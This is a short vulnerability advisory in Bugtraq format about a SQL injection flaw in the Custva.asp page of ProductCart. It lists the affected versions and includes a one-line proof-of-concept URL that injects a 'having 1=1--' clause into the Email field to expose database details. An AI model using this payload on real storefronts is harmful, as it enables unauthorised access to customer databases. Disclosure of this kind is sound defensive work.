ProductCart Custva.ASP SQL Injection Vulnerability

Bugtraq ID:	8103
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 04 2003 12:00AM
Updated:	Jul 04 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to Bosen <[email protected]>.
Vulnerable:	Early Impact ProductCart 2.0 br000 Early Impact ProductCart 2.0 Early Impact ProductCart 1.6003 Early Impact ProductCart 1.6002 Early Impact ProductCart 1.5004 Early Impact ProductCart 1.5003 r Early Impact ProductCart 1.5003 Early Impact ProductCart 1.5002 Early Impact ProductCart 1.6 br003 Early Impact ProductCart 1.6 br001 Early Impact ProductCart 1.6 br Early Impact ProductCart 1.6 b003 Early Impact ProductCart 1.6 b002 Early Impact ProductCart 1.6 b001 Early Impact ProductCart 1.6 b Early Impact ProductCart 1.5
Not Vulnerable:

ProductCart Custva.ASP SQL Injection Vulnerability

ProductCart has been reported prone to an SQL injection vulnerability that may be exploited to reveal information relating to the underlying database; other attacks may also be possible.

ProductCart Custva.ASP SQL Injection Vulnerability

The following proof of concept has been supplied:

http://www.example.com/productcart/pc/Custva.asp?redirectUrl=&Email=%27+having+1
%3D1--&_email=email&password=asd&_password=required&Submit.x=33&Submit.y=5&Submit=Submit

ProductCart Custva.ASP SQL Injection Vulnerability

References:

• ProductCart Homepage (EarlyImpact)
  
• Security Alert - 07/06/2003 (EarlyImpact)
  
• Another ProductCart SQL Injection Vulnerability (Bosen )
  
• Re: Another ProductCart SQL Injection Vulnerability (Massimo Arrigoni )
  
• Re: Another ProductCart SQL Injection Vulnerability (Massimo Arrigoni )